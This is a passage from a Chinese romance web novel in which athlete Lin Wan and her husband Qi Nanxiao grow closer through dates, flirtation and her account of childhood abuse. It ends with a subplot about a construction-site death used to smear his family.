从医院出来时,林晚坐上大众辉腾的后座上,心里想着下午的手机怎么出奇的安静,只有几条消息还都是洛梵发给她的。 祁南骁居然没有来找她,有些失望又有些疑惑,正想着,手机铃响,林晚看着手机屏幕上的备注,嘴角忍不住上扬。 “喂?” 手机里传来祁南骁低沉的声音:“你怎么也不找我?” 林晚反问:“也?” 祁南骁道:“我没找你,你也没找我。” 林晚丝毫不被他影响:“那你为什么不找我?” 祁南骁笑了:“这可是你说的,我现在就去体育局接你,我们去约会。” 原来在这等着她! 林晚慢半拍道:“不行,我晚上有约了。” 祁南骁不出声,林晚等了一会儿:“没信号了?” 祁南骁说:“恋爱第一天,你不跟我去约会,跟别人去约会?” “不爱我了?” 林晚咬牙:“好好说话。” 祁南骁语气低沉且慵懒:“你怎么这么凶?” 林晚忍不住笑了:“对,我就是这么凶,你现在后悔来得及。” 祁南骁道:“可我就喜欢你凶我的样子。” 林晚最受不了他这种张口就来的黏腻劲儿。 祁南骁低声问:“你呢?你喜欢我什么?” 林晚耳根发痒,她换了一边听电话:“不跟你说了。” 祁南骁低笑出声,很温柔:“害羞了?腹肌都给你摸过了你还这么害羞干嘛。” 林晚脸色通红,咬牙警告:“祁南骁!” 祁南骁温柔道:“嗯,我在。” 林晚深吸一口气:“不跟你说了,我要下车买东西了。” 祁南骁见好就收:“嗯,去吧。等你吃完饭我去接你。” 林晚心里一顿:“你给我低调点。” 祁南骁不开心了:“我是你老公,又不是什么见不到人的鬼。” 林晚心底忍不住翻了个白眼:“是谁当初说要隐婚,对昭告天下没兴趣的。” 祁南骁扶额,再次为自己当初嘴贱感到后悔:“我错了,老婆。” 林晚怕祁南骁真敢乱来,低声警告:“我跟我队友他们聚餐,附近可能会有他们的粉丝拍照,你给我低调点。” 祁南骁轻声哄道:“我知道了,那我在车上等你,我不下去。” 林晚没说话,祁南骁道:“车上等你也不行?那我再跟阿辉借副白手套,这样就算别人看见了最多以为我是你的司机,不会误会我跟你的关系的。” 林晚忍不住心里吐槽,谁家司机气质这么好,长相这些帅的。 祁南骁道:“好好的夫妻关系,却被你搞得跟偷情似的。” 林晚叹了口气:“行吧,那你在车上等我。” “好,我等你。我想你了。” 本以为他是在甜言蜜语,可他那语气却无比认真,林晚扯了扯耳朵:“知道了,你记得吃了晚饭再去。” “好,我等你。”祁南骁声音低沉带着轻声的呢喃有种说不出的性感和温柔。 林晚挂断电话,车子也停在了饭店门口。于书雨在门口等她,见到她便带着她一起进了包间。 一进包间林晚便看到了坐在主位旁边的沈怀川,她有些意外他也会来。 林晚本来打算和于书雨坐在一起的,陈年却先一步把她给带到沈怀川旁边的空位,陈年亲自帮她把椅子拉出来,林晚只好坐上去。 沈怀川深邃的眸子落在林晚的身上,原本清冷的眸光看向她时泛起丝丝涟漪,视线落在她手上的纱布时,笑容顿住了:“手怎么了?” 因为身边人多稍显闷热,林晚的手心沁出汗水,那种黏腻感让她很不舒服,她淡笑着道:“受了点伤。” 沈怀川还想说什么,却被主位上的陈年提起,他熟练的跟着寒暄客套。 林晚不是个热情开朗的人,她不爱社交,只是默默一直吃菜。 从他们聊天过程中,陈年跟沈怀川先现在有些利益往来的关系。陈年说沈怀川是他的贵人,沈怀川也只是笑着谦虚。 几年过去了,沈话川变化很大,物是人非,当过那个站在她面前神采奕奕讲解击剑的少年如今成了儒雅、风度翩翩的成功商人。 林晚没想到今天会遇到沈怀川就祁南骁那个醋王要是被他知道她的饭局上还有沈怀川,估计他又得作闹一翻。 沈怀川见林晚心事重重,打量问道:“怎么了?不舒服?” 沈怀川是聚会的中心人物,他一说话,全场目光就都看了过来。 林晚突然被点明有些不自在,尤其是那些目光带着八卦和暗戳戳的看戏,让她很不舒服。 “我没事。” 林晚说完便不在看沈怀川,低头喝汤,这是她拒绝社交的举动,沈怀川看见了便不好再说什么。 不知为何,此时此刻林晚却莫名很想祁南骁,也正是这个时候,祁南骁的消息发了过来。 【林小姐,您的代驾到了,您慢慢吃。】 配图是一张祁南骁戴着婚戒的手扶着方向盘的照片。 林晚看得有些哭笑不得,他还玩上cosplay了。 归心似箭,林晚加快吃饭速度。等到饭局结束,陈年提议大家去KTV唱歌,被教练给拒绝了。平日里运动员的作息都很规律,身为教练更是要时刻监督着大家。 林晚也因此提前解脱,跟陈年道别后悄悄溜走,才刚一跨出饭店的旋转门就被身后的沈怀川给叫住了:“小晚,你去哪?我送你吧。” 林晚神色淡淡道:“不用了,我有人来接。” 沈怀川的司机已经把车开到门口,沈怀川打开车门:“有点事想跟你聊聊,方便吗?” 林晚微微蹙眉,她不喜欢这种半强迫式的行为:“沈先生我真的有人来接,就不打扰你了。有什么事你可以电话联系我,或者联系我的教练” 她话还没说完,另一辆奔驰停在她面前,林晚看到了驾驶座上的祁南骁,一个头两个大,她真怕祁南骁醋坛子翻了下车找沈怀川麻烦。 思及此,林晚先一步拉开奔驰车的副驾驶跟沈怀川道:“沈先生,我走了。” 看着林晚那辆车远去的身影,从车上下来的秦东言忍不住勾起唇角道:“人家是正经夫妻,她选祁南骁不选你很正常。” 沈怀川冷脸警告道:“林晚跟我们和祁家的事没有关系,不要把她卷进来。” 秦东言回头看着他,笑得意味深长:“舍不得?那就把她抢回来啊。” 语毕,不等沈怀川回话,秦东言面容瞬间变得冷锐:“我们之间的合作你最好不要因为一个女人而怀事。” 沈怀川脸色冰冷:“知道。” 第46章  “我喂你吃。” 奔驰车上, 林晚一上车就看到副驾上那一束香槟色的洋桔梗,很漂亮。 “给我的?”林晚问。 祁南骁起动车子,点头:“是。” 金黄色的花瓣层层叠叠簇拥着, 像婚纱一样漂亮。林晚不是一个对花很感兴趣的人,这要搁以前她会觉得这些花只是美丽的烟火, 灿烂却又脆弱,稍纵即逝。 可如今亲手把花捧在怀里,她还是很开心的, 她好像有点理解女人为什么喜欢花了, 与其说喜欢花, 不如说是喜欢收花的感觉, 喜欢自己被心爱的人珍视。 林晚抬眸看他: “没想到你还挺浪漫的。” 祁南骁面上看不出什么神色,只听见他说:“不像某人, 恋爱第一天就抛弃男朋友,跟别人去吃饭。” 这话听着酸溜溜的,林晚有些哭笑不得:“我队友退役请我们去吃饭,沈怀川也在饭局上, 碰见他只是巧合。” 祁南骁没说话,林晚偷摸看了他好几眼, 见他面不改色专心开车,她便不在打扰他,低头玩手机。 祁南骁看了她一眼说:“我生气了。” 林晚抬眸哭笑不得:“你怎么那么爱生气?” “恋爱第一天不跟我约会, 跟我情敌吃饭。”祁南骁拉着脸,一副蛮不讲理的样子。 林晚打量着他的神色:“谁是你情敌?” 祁南骁别开视线, 语气又凶又横:“对你图谋不轨的人。” 林晚想了想,的确是自己忽略了他:“别气了,现在时间也还早, 我跟你去约会。” 祁南骁越过中控抓住林晚的手,盯着她的脸:“这么勉强?” 林晚横了他一眼:“爱去不去,蹬鼻子上脸。” 祁南骁抓着她的手背亲了一口,笑着说:“去,老婆宠我,我怎么能不去。” 林晚拍开他的手:“专心开车。” 祁南骁唇角微勾:“我们去看电影吧。” 林晚没什么意见:“嗯,我都可以。” 等车子开进柳山别墅,林晚才纳闷:“不是说去看电影吗?怎么回家了?” 祁南骁替她拿背包和花下了车:“咱家有电影院,不用去外面看。” 林晚:“”是她孤陋寡闻了。 上楼回房前,祁南骁揽着林晚的腰在她脸颊上快速落下一个吻:“我回去洗个澡,待会好亲你。” 林晚莫名的有点燥,但却不知道是燥待会的约会,还是燥他的这个吻,把人从身上推开,她麻利进了房间回道:“赶紧走。” 祁南骁继续温声道:“不着急,我们有一晚上的时间。” 林晚从燥变成了羞,看都不看他一眼,直接关了门。 —— 晚上7点半,林晚披头散发的站在浴室里吹头发,她刚洗完澡镜子里的面孔在白炽灯下显得比往日里还要白,白得发光。她平时很少化妆,气色是那种看起来气血很足的健康状态,白里透粉。 吹干头发,林晚随手抹上面霜,想了半晌还是打开口红给自己薄薄涂了一层唇釉,灰粉玫瑰色上唇后更加白里透粉。 不就是在家看个电影嘛,至于搞得这么隆重嘛,林晚忍不住在心里吐槽自己的行为。 换好衣服从浴室里出来,林晚拿上手机直奔三楼家庭影院。在楼梯口碰到了正要上楼的祁南骁,他穿着一身黑,阔背窄腰长腿,明明是慵懒闲散的穿着硬生生被他给穿出权贵感。 祁南骁见到林晚一身藕粉色长裙,长发披肩散在肩后,露出一截修长白皙的脖颈温柔清冷风,就算没有看见她的脸也会被她的肤白给吸引。 “洗完澡了?”祁南骁走过来牵着她的手。 林晚微微点头,跟着他往楼上走去。 推开厚实的大门,两人前后走进,整个影院的光线偏暗,酒红色的沙发前还放着不少水果、零食,正前方就是巨大的屏幕,比电影院的还高清。 祁南骁拉着林晚坐下,表面冷静,实则心底早就沸腾了。想当初他家刚装修好时,方茗泽看见这间家庭影院还调侃他,这里面的装修风格适合带女朋友在这里面狠狠做一遍。 当时他还很鄙夷方茗泽的龌龊思想,如今轮到他带着林晚进来,他想跟林晚在这里做了。 可也只敢在心里想想而已,没有林晚的同意他可不敢乱来,林晚虽然长得温温柔柔的,其实心挺硬的,她要是不同意,谁也强迫不了她。祁南骁怕她,与其是说怕,不如说是在乎她,事事以她为首。 林晚以为祁南骁怎么也会不老实,没想到他还真的带她来看电影,把她按在沙发上坐下后,他就去弄屏幕放电影了。看着桌上洗干净的车厘子,林晚端在怀里忍不住吃了几个。 果肉粒粒饱满,果汁细腻甜润,很是可口。 咬着咬着,林晚余光看见一旁的祁南骁正目不转睛的盯着她的看,那双眼里的墨色越来越浓,林晚感觉到了危险,她正要往旁边挪一下。 祁南骁忽然把她的车厘子抢了过去,一只手臂揽住她的细腰往沙发上靠,他长腿一伸压在她的大腿上不让她动弹。 漆黑的眸子幽深而炙热,盯着她的唇,似笑非笑:“我喂你吃。” 林晚脸色通红,挣扎着推搡他的胸,发现动不了,沉声道:“不用你,我自己会吃。” 祁南骁眨了眨眼睛,修长的指间捻着一枚车厘子趁着林晚长口说话之际放进她唇瓣上。 被突然堵住嘴,让林晚当场吐出来她也做不到,轻薄的红皮裹着饱满的果肉,贝齿轻咬,果汁在口腔里爆开,色泽嫣红且诱人。 祁南骁呼吸都变了,喉结上下滚动,声音又低又哑:“我也想吃。” 林晚瞪着他,想吃自己不会拿啊,刚要说话,就看到祁南骁忽然唇角一勾,她眼前视线更暗了。 祁南骁微微偏头吻在她的唇上,缱绻流转于两人的唇齿间,这个吻比以往的还要强烈,如暴风雨般吸吮。他紧搂着林晚的腰,唇里炽热的柔软撬开她的唇瓣,蛮横霸道的不让她闪躲,吸吮引领她跟着他的节奏。 祁南骁尝到了车厘子的果汁,比想象中的甜,带着柔软的香腻,让人想要不顾一切的放肆。 暗沉色的室内,天花板映着一片星空顶,柔和的光是洒满一室,祁南骁像是镶嵌精致的黑曜石,神秘且温柔。 林晚本想推开他,可在她手覆在他胸膛上的那一刻,她忽然舍不得推开他了。脑子里乱七八糟的念头尽数被打散,她没办法理智思考,也无法做到分心,荷尔蒙混着香软的气息,点燃两人之间的气氛。 祁南骁能感受到林晚的身体变化,从一开始的紧绷反抗到渐渐被他卷进来后变得软香可人,他的心是从未有过的惊喜,越试探越汹涌。 林晚不知何时揪住祁南骁身上的衬衫,掌心里都是汗,身子越发松软燥热,渴望他身上的那丝丝凉意。 祁南骁的吻顺着她的唇角向下,下颌、耳后、脖颈、锁骨 牙齿轻咬着吊带往下拉,肩带掉落,祁南骁视线落在高耸雪白间的那抹红痣上。他咽了咽喉结,亲了上去。 攥着她腰上的那只手蠢蠢欲动,悄然将她裙子上的扣子解开,一步一步游走进去,覆上她细腻光滑的腰线时,两人皆是紧绷起来。 林晚猛然睁开眼,按住在她腰上做乱的手。 祁南骁也睁开眼,对上她水雾朦胧里含着警惕的丝丝警惕的眼神,他下意识帮林晚扣扣子道:“对不起,我的错,太激动了把你衣服扣子给扯开了。” 他声音闷闷的,带着真诚,要不是听到他说的话,差点以为他说的就是真的了。无耻! 林晚喉咙一滞,从他手里抢过扣子。他盯着她领口的眼底分明还有一片欲/海之色。 扣上扣子,林晚抬眸之际再次看到他的衣摆之下的轮廓,抬眼看着他道:“你满脑子除了这件事还能不能装点别的?你跟我在一起就为了DO吗?” 祁南骁看着她认真的神情逐渐冷静下来,轻声哄道:“我承认我的确很想跟你做,只要一碰到你我就忍不住,这是本能。我不是因为想上你才追你的,我是真心喜欢你,由内而外的喜欢。如果你不喜欢我做这种事的话,下次我会收敛一些。” 林晚知道这是男人的本能,她也不反感跟祁南骁亲密,甚至是享受。只是他们现在才在一起第一天,她不想他们之间的爱情只是建立在欲望和表面的吸引力上,只沉沦于瞬间的激情。那样太过于空泛了,若是哪一天激情散去后还能有什么维持他们婚姻。 “我不是接受不了跟你有性/行为,我只是觉得这一切太快了。快到会让我怀疑爱情的本质就是性/冲动。如果有一天,我们之间的激情散去,我们之间的婚姻也只会以离婚收场。” 祁南骁眼眸盯着她,急得胸口大喘气:“我是喜欢你在先,对你有欲望是在后。我对你的欲望是在完完全全喜欢上你之后才有的,你不反感跟我接吻难道不也是在喜欢上我之后才会的吗?情人间的暧昧和情动都是正常现象。我们之间是先有爱后有情的。自从我清楚知道自己喜欢上你后,我就没想过会跟你离婚。喜欢你是真的,想和你白头偕老也是真的。如果哪天我们的婚姻里没了激情,那一定还有亲情,它比激情更重要。” 林晚垂眸,心尖一颤,祁南骁的爱一直都这样,热烈而直白,不像她总是在权衡利弊,甚至早早就为自己准备好了后路,随时可以全身而退的离开。 她想起周惠对林栋的态度,好像也是这样,总在左右权衡,等到林栋在她心里的分量逐渐消失后,她便义无反顾的离开。 她不怪周惠跟林栋离婚,因为她知道周惠首先是她自己其次才是她的母亲、林栋的妻子。 某种程度上,林晚觉得自己跟周惠一样冷血。 想到这,林晚忽然笑了,无论她有多想忘记周惠,忘记在窦家的日子,这些都已经深深的刻进她的骨肉里,她终究是无法跟过去完全割舍的。 笑着笑着,林晚的眼泪忍不住落下。 祁南骁慌了,他不是第一次见林晚哭了,比起撕心裂肺的哭,这样的林晚就像是随时要碎掉的样子。 祁南骁想抱住她,又怕她嫌弃自己,手伸到半空中不知所措,早知道自己就不应该这么心急吓到她的。 “林晚” 林晚发觉自己根本控制不住眼泪,滚烫的泪住顺着鼻梁往下滑,水雾朦胧的后面,她看到祁南骁心疼焦急且小心翼翼的样子,她伸手抱住祁南骁,埋进他的胸膛里闭上眼睛,越是想到他对她的好,眼泪越是汹涌而出,她紧抿着唇瓣。 祁南骁快疯了,早知道这样会伤害到她,他就是忍着也不碰她,眼泪从她脸上掉落,却折磨得他生不如死。 林晚闭着眼,听到祁南骁压抑的声音:“对不起,都是我的错。我以后再也不会了。” 林晚只听得见他的声音,恍惚间还以为他也哭了,抬眸看见他的那一刻,才知道他的神情也没比哭好哪里去。 祁南骁轻轻擦掉她脸上的眼泪,低声道:“不哭了,我以后再也不敢了。” 林晚深吸一口气像是做了个重大的决定,她扑进他的怀里。 祁南骁揽着她的肩膀直接把她提溜着做到他腿上,把她抱在怀里,就听林晚声线缓缓道:“我亲生父母在我很小时就离婚了,他们是包办婚姻,他们之间的灵魂并不匹配,婚后感情一直不好,我生母把我生下来后便去了海城工作。在那里她认识了她的第二任丈夫。我爸死后我就被她带去海城跟她一起嫁进窦家。我妈跟窦儒笙的婚姻倒是挺轰轰烈烈的。” 林晚说到这,浑身紧崩,那是本能的害怕,祁南骁心疼极了,他不知道林晚究竟经历过什么,只知道林晚曾经经过心理治疗。如今看来她一定是经历过很大的创伤。 林晚脸上没什么表情,像是在讲一个跟她无关的故事:“窦儒笙从小生长在大家族里,因为特殊年代他的家族经历过动荡,他从小就随父母住牛棚,被不少人折磨过。也正是这份经历使他从小就心理扭曲。我妈嫁给他后,他便以虐打我妈为乐,事后又无比虔诚的忏悔求得我妈的原谅。可笑的是,我妈竟然一次次原谅他了,服从他,行尸走肉般以他为首。也许我妈的乖顺让窦儒笙失去了虐打她的兴趣,他把目光转移到我身上。他喜欢把我关在楼梯下面的储物间里,那里常年阴暗潮湿。从一开始的让我亲眼见证他驯服我妈的样子,到后面他命令我妈亲手虐打我,从一开始的打我掌心、到打我巴掌,踢我” 祁南骁听到这眼眶都红了,仿佛被人戳了无数把刀子,钝痛感距裂,他紧紧搂着林晚。他不知道她小时候还经历过如此黑暗,她那时还是小孩,亲爸死了,只能依靠亲妈,却被亲妈亲手虐待,她那时候该是有多绝望和无助。 灼热的泪珠顺着眼角落在林晚的发顶,林晚抬眸轻轻擦掉他的眼泪,风轻云淡般看着祁南骁道:“没事,我后来跟着林国冬走了。他还帮我把窦儒笙跟周惠送进监狱了。我大仇得报了,我一直以为我跟周惠不是一类人,可在对待婚姻的态度上,我跟她一样的自私。” 祁南骁眼底的心疼和温柔快要溢出来了,他紧紧搂这林晚一言不发。难怪她对婚姻对爱情一直那么悲观消极。 片刻后,祁南骁松开她,抬手轻轻擦掉她脸颊上的泪痕,在电影背景的灯光下,她的脸细腻纯净,杏眸冷静得让人心疼。 “林国冬和何俪对我很好,他们一直把我当亲生女儿一样疼爱,对我这个毫无血缘关系的女儿,他们也依然尽心尽力托举,这才有如今的我。” 说起林国冬跟何俪,林晚神色放松了许多,眼里也逐渐有了光。 祁南骁指腹轻轻刮着林晚的脸颊道:“找个时间我们一起去看看爸、妈吧?” 林晚一开始还没反应过来他说的是谁,愣了半晌才想起来他说的是林国冬和何俪。 “不气我爸逼你娶我了?”林晚把心事说出来后,心情好了不少,甚至心血来潮想跟祁南骁开玩笑了。 祁南骁眉梢微抬,将人搂进怀里,“早就不气了,我该庆幸爸看上我,而不是别人,否则我就要失去这辈子最爱的女人了。林晚,以后不要再说什么离婚的事了,我有错,你提出来,我能改,不要轻易放弃我好吗?” 林晚心里软得一塌糊涂:“好。” 两人在沙发上紧紧抱在一起,依偎在一起,近到他们能听见对方的心跳声,心和心的同频共振似乎将对方的灵魂嵌合进自己的体内。 第47章  夹着他的腰 第二天一早, 林晚习惯早起做康复训练,结束后回房洗澡。脱衣服的时候,她惊觉脖子上有个深红色的印子, 在白皙皮肤上显得很是妖艳。愣了好几秒才反应过来,是昨晚祁南骁弄出来的。 幸好今天不用去体育局, 不然顶着这个草莓印出门,被人看见了她迟早得社死。 想到昨晚,脑海中难免浮现祁南骁抱着她靠在沙发上的画面。两人认识时间不长, 除了对彼此的性格有些了解外, 对对方的过去几乎是一无所知。 这也就形成了两人只要在一起就有聊不完的话题, 他们渴望了解对方更多, 渴望更多的共鸣所带来的亲密感和安全感。 以往她想起在窦家的事,心里难免会有些害怕, 可昨晚和祁南骁在一起聊起这些事时,她没有以往的恐惧,那一刻祁南骁带给她的安全感彻底包裹着她。 她无法形容那一刻的感觉,一个人走了一段很长的黑暗道路后, 突然被披戴上一件铠甲战袍,不仅充满安全感, 更是无论结局如何都有退路的无惧。 冲掉身上的泡沫,林晚伸手关掉开关擦干身体出门。 早上七点多,林晚拿着手机一边下楼一边打电话出去, 屏幕上显示着‘洛梵’的备注。 嘟嘟的连接声只响了两秒就被接通,手机中传来女人兴奋的声音:“我算准了你这个时候训练结束了。” 林晚道:“你那边还是凌晨吧, 怎么吵吵闹闹的?” “我刚从夜店出来,正在门口等车呢。” 洛梵这几天陪着她家艺人在国外拍戏,她现在又是老板又是经纪人的, 忙得不行。 “出来一个星期,我现在无比想念你,吃不好睡不好。” 从冰箱里拿出牛奶,林晚转身说:“你不是说你有小狼狗暖床吗,你会睡不好?” 洛梵说:“小狼狗又不能暖我的胃。” 林晚面无表情道:“你想让我给你做饭就直说。” 洛梵撒娇:“人家就是想你了嘛,我下午准备去逛街,给你买礼物。” 林晚开火准备煮个过桥米线:“你悠着点,别等下熬太虚了,扛不住你的小男友。” 洛梵道:“你倒是运动员身体好,你现在不也是四肢不健全。” 林晚:“” 洛梵八卦道:“诶,你跟祁南骁相处得怎么样?” 林晚唇角微勾准备等洛梵回国后亲自跟她说:“就那样。” 洛梵:“你俩俊男美女的身材都这么好,看起来就很搭配,居然没有干柴烈火?” 林晚:“” 洛梵一脸兴奋道:“祁南骁那人看起来就是好大的那一种啊,雄性荷尔蒙爆棚。再说你要胸有胸,要腰有腰的,你俩站一起就跟黄/漫,不是,就跟漫画主角一样赏心悦目。” 林晚脑海里情不自禁浮现一些画面,的确挺大的 “你少看些18/禁/ 漫画。”林晚无奈道。 “姐妹儿,你是吃了金刚钻吗?放着这么个尤物不玩,你好有定力啊~” 林晚选择直接挂上电话。 被洛梵这么一调侃下,林晚的思绪也忍不住乱了起来。祁南骁身材的确很好,也不知道他那人生物钟如此不规律怎么还能保持这么好的身材! 宽肩窄腰,不仅有腹肌,两侧肋骨还有线条明显的鲨鱼肌,再配上他那张冷硬却过分帅气的面孔,气势十足,就像洛梵说的荷尔蒙爆棚,简直让人欲罢不能。 林晚忍不住红了脸了,摇头晃脑想把脑海里的东西甩出去。 祁南骁拐弯过来时就看到林晚站在灶台前摇头晃脑的。 她穿着酒红色修身短裙,本就贴身显曲线,举手投足间腰肢尽显,像溪水过石般流畅,婀娜多姿。 祁南骁盯着她的背影看就贴了上去。 厨房里,林晚正在切水果,祁南骁就站在她身后手很自然的掐着她的腰。 林晚身体紧绷一瞬,余光看到是祁南骁后她才放松下来:“你今天怎么这么早起?” 祁南骁低头,蹭着林晚的脖颈:“待会要去公司。” 林晚转身要去冰箱取酸奶,祁南骁贴着她不放。 林晚想要挣脱,祁南骁说:“要什么,我帮你拿。” “酸奶。” 祁南骁转身打开冰箱拿出酸奶递给林晚,再次黏了上来。 林晚弯腰拿碗,祁南骁也跟着贴着她弯腰,林晚咬牙:“你给我出去,少在这儿给我添乱。” “我就抱抱,不做什么。” 林晚转身轻拍了下他的脑袋,祁南骁趁机亲了她一口,林晚忍无可忍:“你给我老实点。” 祁南骁不说话,稍稍收紧手臂,把人往自己怀里送。 林晚算是发现了,在两人亲密这件事上,祁南骁霸道且蛮横,非但不听话,甚至我行我素,他想怎样就怎样。 “你松开点儿。” 祁南骁听话圈着她腰的手微微松了松,只是换成了低头亲她的脖子。 林晚咻的歪头避开他的吻,祁南骁见状跟着贴上来,准确无误的亲在她脖子上。 林晚抬手胡乱打乱他的头发:“不准亲。” 祁南骁:“嗯?” 林晚:“昨晚留的印子到现在都还有。” 祁南骁视线落在她左锁骨上方,那枚粉中带紫的草莓印,他笑出声,换了个边快速在草莓印上亲了口。 林晚轻拍他的脑袋:“你能不能不要一直黏着我?” 祁南骁一本正经道:“我待会要去公司了,好长时间见不到你。你让我抱一下。” 林晚:“你这是抱一下的事吗?” “跟你在一起的时间总是过的很快。” 林晚被气笑了:“油嘴滑舌,这话你拿去哄过多少女人?” 祁南骁抬眸看着她:“就哄过你一个人。” 林晚有意捉弄他:“我不信。” “要不然我组个局,把我小学到大学的一些同学请出来吃饭跟你汇报,我以前有多守自尊自爱,守男德。” 林晚嘴角一抽,伸手端碗,半开玩笑半道:“你就没什么门当户对的小青梅什么的?” 祁南骁端着剩余的碗筷跟着她身后:“什么青梅,我压根没有。” 林晚唇角微勾,祁南骁侧头看她:“我不像某人从小就有小竹马。”最后三个字几乎是咬牙切齿说出来的。 林晚站定,看着他,不明所以:“谁?” “沈怀川。”他拉着脸,语气是满满的嫉妒和冷硬。 林晚哭笑不得:“谁跟你说他是我竹马的?” 祁南骁想说是方茗泽说的,但话到嘴边就变成了:“难道不是吗?” “他跟你是同一个教练带出来的,还是从小就认识的。” 林晚垂眸佯装思考:“你这么一说我跟沈怀川还真是” “唔唔唔” 林晚话还没说完,就被祁南骁伸手把人拉进怀里,托着她的腰身直接坐在餐桌上,林晚惊呼,祁南骁稍微一偏头,直接吻了下去。 她的唇一如既往的软,祁南骁忍不住轻轻含了一口。 林晚浑身一僵,抓着祁南骁的衣服,锤着她的胸膛。祁南骁恶劣的轻咬了她的唇一下,轻轻的,带着戏弄的酥痒。林晚顿时全身热血沸腾。 浅尝辄止意犹未尽,祁南骁松开林晚,抬手将她垂落在耳边的一缕碎发轻轻别去耳后,指腹无意摩挲着她的唇角,像在心尖捻燃一尾火苗。 林晚用力推开他,一双美眸瞪着他,明明是带着警告意味,在祁南骁看来却无比勾人。 祁南骁还想再吻一次,林晚咻的别开脸,抓着他的头发:“祁南骁,不准亲。” 祁南骁捏着林晚的下巴,眼眸带着宠溺,呼吸灼热且低沉:“以后不准再提那个男人。” 林晚死鸭子嘴硬:“明明是你先提起他的。” 祁南骁目不转睛的盯着她,只是笑,林晚推开他要下地,他突然托着她的腰往他怀里撞,林晚挣了一下,双臂也被他圈在腰后,动弹不得,长腿本能夹着他的腰,他刚好可以贴着她大腿中/间。 林晚慌了,下意识抬眸瞪他:“祁南骁。” 祁南骁也不说话就这样抱着她,眸色幽深炙热的看着她。 不知过了多久,林晚眼神飘忽,微张着嘴气势弱了许多:“你别乱动。” “嗯?” “憋回去。”林晚咬牙切齿。 祁南骁唇角笑意越发大了,偏头刚好亲在她脖子上的草莓印,身下那个硬块逼得更近了。 林晚一个刺激,用力推开他,真想拧着他的耳朵狠狠打一顿。 祁南骁再次笑出声,语气无奈且带着危险的诱人:“怎么办,一碰到你就这样。” 林晚忍住不低下头看过去,她抬腿把人一步步推离:“活该。” 祁南骁垂眸看着抵在自己腿上的毛茸茸的拖鞋,再往前是她纤细白皙的腿,眼睛晶亮亮的含着笑意,精致的脸上神情满是娇憨、俏皮。她根本意识不到自己的这个举动有多色/气。 祁南骁被这画面刺激到了,握紧拳头不敢在抓她的脚,怕伤到她膝盖。在心底骂了声脏话,转身去冰箱打了满满一杯冰水一口气灌下肚。 林晚看着祁南骁气呼呼的背影,有些不明所以。坐回椅子上默默吃早餐,对自己点火的后果丝毫不在意。 祁南骁站在冰箱前连续喝了两杯冰水才压下火。 五分钟后再次出来时,他手里还端着杯冰水。 林晚抬眸正好对上他坐下喝水,杯壁外沿的冰珠顺着他的下颚线一路滚落至喉结处,别开视线道:“空腹少喝冰。” 祁南骁擦干喉结上的水,薄唇开启道:“没事。” 林晚微微蹙眉:“你的作息不规律,身体还不好,不是感冒就是发烧,现在不养着点,等你过了30岁,就难养回去了。” 祁南骁吃着酸奶水果,闻言忽然抬眸回了一句颇为意味深长的话:“我行不行你刚刚不是已经领教过了?” 林晚:“” 就不应该给他点好脸色。 林晚低头吃着过桥米线。 祁南骁的那份是西式早餐,看着林晚的唇被面汤滋润得莹润通红,他咽了咽喉咙道:“给我点米线。” 林晚抬眸,错愕道:“这个我吃过了。”她以为他不爱吃重口味的汤面,只给他准备了西式早餐。 祁南骁靠在椅背上,黑眸微瞥,声音低沉慵懒道:“我不介意,你舌头我都吃过别说你吃的米线了。” 林晚:“” 赶忙给他分一碗米线,堵住他的嘴。 祁南骁心满意足的吃着林晚分给他的过桥米线问:“晚上你有时间吗?” 林晚道:“有,怎么了?” 祁南骁侧头看她道:“老爷子这两天胃口不太好,我们回去看看他吧。” 林晚心跳漏半拍:“爷爷他没事吧?” 祁南骁垂眸,看不清神色,低沉道:“人老了,味蕾退化,胃口也不太好。” 林晚:“爷爷他平时都住在老宅吗?” 祁南骁道:“以前是,现在住在疗养院的时间比较多。” 林晚不太理解:“为什么?” 祁南骁道:“老宅只有祁梦跟他住,祁梦目前要专心准备去英国留学的事,也不常在老宅。老爷子一个人觉得孤单就搬去疗养院。那里有跟他同龄的人可以作伴。” 人老了子女都不在身边,好像真就印证了那句话,人生就是一场孤独的旅行。 —— 吃完早餐,在祁南骁的软磨硬泡下,林晚还是把他送到门口,嘱咐道:“你走吧。” 祁南骁看着她,指了指自己的侧脸:“早安吻。” 林晚看了看正在开车门的莫白,瞪眼警告祁南骁:“刚刚不是已经亲过了吗?” 祁南骁咧开唇角:“那是我亲你,不是你亲我。” 林晚低声警告:“赶紧走。” 她说完直接转身就走,祁南骁伸手拉住她的手臂,在她脸颊上快速落下一个吻:“等我回家。” 林晚冲他摆手:“知道了,赶紧走吧,好好上班赚钱。” 祁南骁脸上笑意更浓了,打开车门道:“遵命,老婆大人。” 一上车,司机就起动车子,看着后视镜里林晚转身回去,祁南骁才收起笑脸,点了根烟问道:“工地那边伤亡如何?” 莫白道:“3人重伤,1人死亡,5人轻伤。” 祁南骁抽了口烟看不出什么情绪:“具体什么原因。” 莫白眉头微蹙:“目前警方已经介入,暂时定性为聚众斗殴。” 祁南骁眼眸微眯:“聚众斗殴会下死手?” 莫白垂眸:“我们的人查到死者是施工队的一名工人,一个月前查出胰腺癌晚期,他的儿子是一名房地产销售人员,这个月被评为优秀员工,公司为此奖励他一套大平层。” 祁南骁冷笑一声:“哪家房地产公司这么大方?” 莫白道:“鼎瑞,这家公司控股人是沈怀川那边的人。” 这就解释得通了。 祁南骁之前在关市拿到的那块地最近已经开始施工,却在昨天闹出工人聚众斗殴的事,最开始是因为包工头没有把工资发到那个患有胰腺癌患者的工人身上,然后包工头就被这个工人带着人给围了。 两方打起来,有人浑水摸鱼,最后那个得胰腺癌的工人突然暴走,拉着几个工人一起往楼下跳。 挣扎过程中,3个工人掉在楼下的铁杆上摔成重伤,只有那个患有胰腺癌的工人直接死了。 有人把这件发网上去,并且歪曲事实。 一时间《农民工讨薪遭到报复失去性命》的事闹得沸沸扬扬。再加上有人蓄意炒作,引导网上都知道那块地背后是祁家的。 因此祁家拖欠工人工资,纵容包工头杀人等假消息层出不穷。 祁家这样底蕴的家族一直都很低调,对于上热搜的事莫白也第一时间调查处理。查到那个工人的生前一直用自己的工资刷直播给那些擦边主播,一刷刷了十几万,还欠了不少网贷。催收电话打到包工头那里,包工头以此来威胁这个工人,想扣下他的一部分工资。 之后这个工人又被查出胰腺癌晚期,绝望之下,他被人利用,极端在工地闹事。 这是利用亡命之徒来闹事,这种手段祁南骁再清楚不过了。 祁南骁靠在后座,手里夹着烟,举止慵懒,眼神淡漠,不紧不慢的抽烟。 “找到秦家接触那一家人的证据,必要时候不需要给他们留面子,直接公布出去。” 